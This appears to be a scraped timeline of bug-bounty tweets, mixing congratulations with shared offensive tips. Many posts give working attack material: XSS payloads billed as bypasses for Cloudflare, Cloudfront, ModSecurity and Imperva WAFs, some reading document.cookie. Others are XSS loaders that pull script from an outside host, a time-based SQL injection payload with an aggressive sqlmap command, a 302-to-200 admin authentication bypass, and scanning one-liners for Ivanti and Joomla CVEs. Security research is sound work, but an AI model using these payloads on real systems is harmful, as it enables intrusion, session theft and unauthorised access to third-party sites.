b11r1m

hack for good :)

[👑 OFJAAAH → ofjaaah.com @ofjaaah]

🔥chaos -d domain -o dm -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ 🔥
@b51b5b43 @stokfredrik

[Brute @BRuteLogic]

Improve your #BugBounty reports
Using a Remote #XSS Call

1. import('//X55.is')
https://t.co/44PpUdSoC1

2. $.getScript`//X55.is` (requires jQuery)
https://t.co/ZQyAdexV0F

3. appendChild(createElement`script`).src='//X55.is' https://t.co/5u88JwaYwE

#hack2learn #hack2earn

[b11r1m @b11r1m]

@05__Yash @Hacker0x01 Congrats man 💙

[khan mamun @mamunwhh]

Admin panel access P1

1- Found path for portal in wayback
2- Fuzz it
3- Found login page
4- Another Fuzzing
5- See/manage-users.php with big content length but 302 status
6- Setup match & replace with 302 to 200
7- Bypass auth and access to admin panel

By@0x_rood #bugbounty

[b11r1m @b11r1m]

@WHOISshuvam @Hacker0x01 congratssss bro :)

[b11r1m @b11r1m]

@ibrahimxss_ done

[INFOSEC F0X 🔥 @infosec_fox]

Cybersecurity Pay Scale Per Role 💰

[0xRAYAN 🇸🇦 @0xRAYAN7]

BugHuntingTips 🪿

SOME OF THE TOP XSS WAF BYPASS PAYLOADS :)

CloudFlare WAF:

<svg onload=alert&#0000000040document.cookie)>
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>

<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>

Cloudfront WAF:
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>

Mod security:
<svg onload='new Function*["Y000!"].find(al\u0065rt)*'>

Imperva WAF:
<details x=xxxXxXXXXXXXXXXXXXXXXXXXXXXXXKXXXXXXXXXXX 2 Open ontoggle=k&#x0000000000061;
alert&#x000000028;origin&#x000029;>

[b11r1m @b11r1m]

#NewProfilePic

[b11r1m @b11r1m]

@TheMsterDoctor1 X

[Today Cyber News @TodayCyberNews]

CVE-2023-35078: Ivanti EPMM Remote Unauthenticated API Access Vulnerability

🚨 PoC is already available for Ivanti Endpoint Manager Mobile API vuln CVE-2023-35078

👉🏻 Dork: http.headers.set_cookie:("JSESSIONID" "Path" "/mifs")

Vendor’s advisory: https://t.co/CKXKAeaBNc

[Will Gates @WllGates]

echo https://t.co/gHCtCNG1UR | waybackurls | gf xss | uro | httpx -silent | qsreplace '"&gt;&lt;svg onload=confirm(1)&gt;' | airixss -payload "confirm(1)"

https://t.co/4VjQx1T8QX…

Nice TOOOL To Find XSS!

#bugbounty

creds: @ofjaaah

[Mike Takahashi @TakSec]

Common XSS locations 📍

🔍 Search
👤 Username
🔗 Links
✏️ Text Editor

A thread 🧵👇

[b11r1m @b11r1m]

Changing life :)

[Cybertix @thecybertix]

𝗖𝗹𝗼𝘂𝗱𝗳𝗹𝗮𝗿𝗲 𝗫𝗦𝗦 𝗕𝘆𝗽𝗮𝘀𝘀 𝗣𝗮𝘆𝗹𝗼𝗮𝗱:

&lt;select&gt;&lt;noembed&gt;&lt;/select&gt;&lt;script x='a@b'a&gt; y='a@b'//a@b%0a\u0061lert('CYBERTIX')&lt;/script x&gt;

𝗙𝗼𝗹𝗹𝗼𝘄 𝘂𝘀 ���

#bugbountytips #BugBounty #cybersecuritytips #hackerone #bugcrowd #Tips #Bounty #bug #cloudflare #bypass

[haksec.io @haksecio]

Basic Local File Inclusion payloads including /etc /passwd file! 👇

For more payloads check out Payloads All The Things:
👉 🔗 https://t.co/x9x4ZLsiRY

[Yazeed Alewah @Yazeed_oliwah]

Back With New P1🔥
Time based SQLi via POST request
Payload: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/

SQLmap command : sqlmap -r request.txt --level 5 --risk 3 --random-agent
#bugbountytips

[张惠倩 @momika233]

CVE-2023-23752
Joomla webservice endpoint access
PoC
httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

[Mike Takahashi @TakSec]

XSS Bypass - slice + external script

Payload:
&lt;svg onload=eval(location.hash.slice(1))&gt;

Put this at the end of the URL:
#with(document)body.appendChild(createElement('script')).src='//domain'

More from @brutelogic: https://t.co/Lb5pm6BF05

#xss #bugbountytips #hacking #infosec

[Abhishek @aacle_]

I am still focusing much energy on Web Application Security this month. Now here are some of the resources I am revising on Burp Suite.

💠 BURP SUITE LESSONS 💠

• Configuring Burp Proxy: https://t.co/ga5OzwS6fa

• Burp Web Scanner &amp; Crawler: https://t.co/RQSaVmPELt

More: 👇